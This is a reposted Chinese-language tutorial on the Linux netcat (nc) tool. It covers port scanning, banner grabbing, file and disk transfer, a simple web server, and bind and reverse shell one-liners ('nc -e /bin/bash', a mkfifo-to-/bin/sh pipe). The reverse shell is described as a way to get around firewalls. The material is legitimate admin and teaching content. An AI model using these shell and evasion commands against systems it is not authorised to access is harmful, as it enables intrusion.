Linux系统中nc工具那些不为人知的用法
生活随笔
收集整理的這篇文章主要介紹了
Linux系统中nc工具那些不为人知的用法
小編覺得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.
Linux nc命令用法
參考地址:https://www.cnblogs.com/jjzd/p/6306273.html
-g<網(wǎng)關(guān)>:設(shè)置路由器躍程通信網(wǎng)關(guān),最多設(shè)置8個(gè); -G<指向器數(shù)目>:設(shè)置來源路由指向器,其數(shù)值為4的倍數(shù); -h:在線幫助; -i<延遲秒數(shù)>:設(shè)置時(shí)間間隔,以便傳送信息及掃描通信端口; -l:使用監(jiān)聽模式,監(jiān)控傳入的資料; -n:直接使用ip地址,而不通過域名服務(wù)器; -o<輸出文件>:指定文件名稱,把往來傳輸?shù)臄?shù)據(jù)以16進(jìn)制字碼傾倒成該文件保存; -p<通信端口>:設(shè)置本地主機(jī)使用的通信端口; -r:指定源端口和目的端口都進(jìn)行隨機(jī)的選擇; -s<來源位址>:設(shè)置本地主機(jī)送出數(shù)據(jù)包的IP地址; -u:使用UDP傳輸協(xié)議; -v:顯示指令執(zhí)行過程; -w<超時(shí)秒數(shù)>:設(shè)置等待連線的時(shí)間; -z:使用0輸入/輸出模式,只在掃描通信端口時(shí)使用。?
首先查看是否安裝了nc工具
?
監(jiān)聽本地主機(jī): $nc -l 80 連接到遠(yuǎn)程主機(jī): nc -nvv 192.168.x.x 80 連到192.168.x.x的TCP80端口.Server:$nc -l 2389 Client:$ nc -w 10 localhost 2389 使用 -w 參數(shù)來指定連接的空閑超時(shí)時(shí)間,該參數(shù)緊接一個(gè)數(shù)值,代表秒數(shù),如果連接超過指定時(shí)間則連接會被終止?
1、端口掃描 nc -z -v -n 192.168.1.1 21-25 連續(xù)端口寫成 21-25 z 參數(shù)告訴netcat使用0 IO,連接成功后立即關(guān)閉連接, 不進(jìn)行數(shù)據(jù)交換. v 參數(shù)指詳細(xì)輸出. n 參數(shù)告訴netcat 不要使用DNS反向查詢IP地址的域名.# 以下這條命令可以指定ip,或者域名 nc -v 127.0.0.1 22 localhost [127.0.0.1] 22 (ssh) open SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4 "SSH-2.0-OpenSSH_5.9p1 Debian-5ubuntu1.4"為Banner信息。Banner是一個(gè)文本,Banner是一個(gè)你連接的服務(wù)發(fā)送給你的文本信息。當(dāng)你試圖鑒別漏洞或者服務(wù)的類型和版本的時(shí)候,Banner信息是非常有用的。但是,并不是所有的服務(wù)都會發(fā)送banner.一旦你發(fā)現(xiàn)開放的端口,你可以容易的使用netcat 連接服務(wù)抓取他們的banner。2、Chat Server 假如你想和你的朋友聊聊,有很多的軟件和信息服務(wù)可以供你使用。但是,如果你沒有這么奢侈的配置,比如你在計(jì)算機(jī)實(shí)驗(yàn)室,所有的對外的連接都是被限制的,你怎樣和整天坐在隔壁房間的朋友溝通那?不要郁悶了,netcat提供了這樣一種方法,你只需要?jiǎng)?chuàng)建一個(gè)Chat服務(wù)器,一個(gè)預(yù)先確定好的端口,這樣子他就可以聯(lián)系到你了。 Server:$nc -l 20000 netcat 命令在20000端口啟動了一個(gè)tcp 服務(wù)器,所有的標(biāo)準(zhǔn)輸出和輸入會輸出到該端口。輸出和輸入都在此shell中展示。 Client:$nc 192.168.1.1 200003、文件傳輸 Server$nc -l 20000 < file.txt Client$nc -n 192.168.1.1 20000 > file.txt4、目錄傳輸 Server:tar -cvf – dir_name | nc -l 20000 Client:$nc -n 192.168.1.1 20000 | tar -xvf -5、加密你通過網(wǎng)絡(luò)發(fā)送的數(shù)據(jù) Server:$nc localhost 20000 | mcrypt –flush –bare -F -q -d -m ecb > file.txt使用mcrypt工具加密數(shù)據(jù)。 Client:$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 20000 使用mcrypt工具解密數(shù)據(jù)。 以上兩個(gè)命令會提示需要密碼,確保兩端使用相同的密碼。 這里我們是使用mcrypt用來加密,使用其它任意加密工具都可以。6、流視頻 Server:$cat video.avi | nc -l 20000 這里我們只是從一個(gè)視頻文件中讀入并重定向輸出到netcat客戶端 Client:$nc 192.168.1.1 20000 | mplayer -vo x11 -cache 3000 - 這里我們從socket中讀入數(shù)據(jù)并重定向到mplayer。7、克隆一個(gè)設(shè)備 如果你已經(jīng)安裝配置一臺Linux機(jī)器并且需要重復(fù)同樣的操作對其他的機(jī)器,而你不想在重復(fù)配置一遍。不在需要重復(fù)配置安裝的過程,只啟動另一臺機(jī)器的一些引導(dǎo)可以隨身碟和克隆你的機(jī)器。 克隆Linux PC很簡單,假如你的系統(tǒng)在磁盤/dev/sda上 Server: $dd if=/dev/sda | nc -l 20000 Client: $nc -n 192.168.1.1 20000 | dd of=/dev/sda dd是一個(gè)從磁盤讀取原始數(shù)據(jù)的工具,我通過netcat服務(wù)器重定向它的輸出流到其他機(jī)器并且寫入到磁盤中,它會隨著分區(qū)表拷貝所有的信息。但是如果我們已經(jīng)做過分區(qū)并且只需要克隆root分區(qū),我們可以根據(jù)我們系統(tǒng)root分區(qū)的位置,更改sda 為sda1,sda2.等等。8、打開一個(gè)shell 我們已經(jīng)用過遠(yuǎn)程shell-使用telnet和ssh,但是如果這兩個(gè)命令沒有安裝并且我們沒有權(quán)限安裝他們,我們也可以使用netcat創(chuàng)建遠(yuǎn)程shell。 假設(shè)你的netcat支持 -c -e 參數(shù)(原生 netcat) Server $nc -l 20000 -e /bin/bash -i Client $nc 192.168.1.1 20000這里我們已經(jīng)創(chuàng)建了一個(gè)netcat服務(wù)器并且表示當(dāng)它連接成功時(shí)執(zhí)行/bin/bash 假如netcat 不支持-c 或者 -e 參數(shù)(openbsd netcat),我們?nèi)匀荒軌騽?chuàng)建遠(yuǎn)程shell Server $mkfifo /tmp/tmp_fifo $cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 20000 > /tmp/tmp_fifo這里我們創(chuàng)建了一個(gè)fifo文件,然后使用管道命令把這個(gè)fifo文件內(nèi)容定向到shell 2>&1中。是用來重定向標(biāo)準(zhǔn)錯(cuò)誤輸出和標(biāo)準(zhǔn)輸出,然后管道到netcat 運(yùn)行的端口20000上。至此,我們已經(jīng)把netcat的輸出重定向到fifo文件中。 說明: 從網(wǎng)絡(luò)收到的輸入寫到fifo文件中 cat 命令讀取fifo文件并且其內(nèi)容發(fā)送給sh命令 sh命令進(jìn)程受到輸入并把它寫回到netcat。 netcat 通過網(wǎng)絡(luò)發(fā)送輸出到client 至于為什么會成功是因?yàn)楣艿朗姑钇叫袌?zhí)行,fifo文件用來替代正常文件,因?yàn)閒ifo使讀取等待而如果是一個(gè)普通文件,cat命令會盡快結(jié)束并開始讀取空文件。 在客戶端僅僅簡單連接到服務(wù)器 Client $nc -n 192.168.1.1 20000你會得到一個(gè)shell提示符在客戶端9、反向shell 反向shell是指在客戶端打開的shell。反向shell這樣命名是因?yàn)椴煌谄渌渲?#xff0c;這里服務(wù)器使用的是由客戶提供的服務(wù)。 Server $nc -l 20000在客戶端,簡單地告訴netcat在連接完成后,執(zhí)行shell。 Client $nc 192.168.1.1 20000 -e /bin/bash現(xiàn)在,什么是反向shell的特別之處呢 反向shell經(jīng)常被用來繞過防火墻的限制,如阻止入站連接。例如,我有一個(gè)專用IP地址為192.168.1.1,我使用代理服務(wù)器連接到外部網(wǎng)絡(luò)。如果我想從網(wǎng)絡(luò)外部訪問 這臺機(jī)器如1.2.3.4的shell,那么我會用反向外殼用于這一目的。10、指定源端口 假設(shè)你的防火墻過濾除25端口外其它所有端口,你需要使用-p選項(xiàng)指定源端口。 Server $nc -l 20000Client $nc 192.168.1.1 20000 25使用1024以內(nèi)的端口需要root權(quán)限。 該命令將在客戶端開啟25端口用于通訊,否則將使用隨機(jī)端口。11、指定源地址 假設(shè)你的機(jī)器有多個(gè)地址,希望明確指定使用哪個(gè)地址用于外部數(shù)據(jù)通訊。我們可以在netcat中使用-s選項(xiàng)指定ip地址。 Server $nc -u -l 20000 < file.txtClient $nc -u 192.168.1.1 20000 -s 172.31.100.5 > file.txt該命令將綁定地址172.31.100.5。12、靜態(tài)web頁面服務(wù)器 新建一個(gè)網(wǎng)頁,命名為somepage.html; 新建一個(gè)shell script: while true; do nc -l 80 -q 1 < somepage.html; done用root權(quán)限執(zhí)行,然后在瀏覽器中輸入127.0.0.1打開看看是否正確運(yùn)行。 nc 指令通常都是給管理者進(jìn)行除錯(cuò)或測試等動作用的,所以如果只是單純需要臨時(shí)的網(wǎng)頁伺服器,使用 Python 的 SimpleHTTPServer 模組會比較方便。13、模擬HTTP Headers $nc www.huanxiangwu.com 80 GET / HTTP/1.?
轉(zhuǎn)載于:https://www.cnblogs.com/southtianmen/p/10727150.html
總結(jié)
以上是生活随笔為你收集整理的Linux系统中nc工具那些不为人知的用法的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 迷你世界怎么获得甜心小熊
- 下一篇: Linux - 时间相关命令 - ntp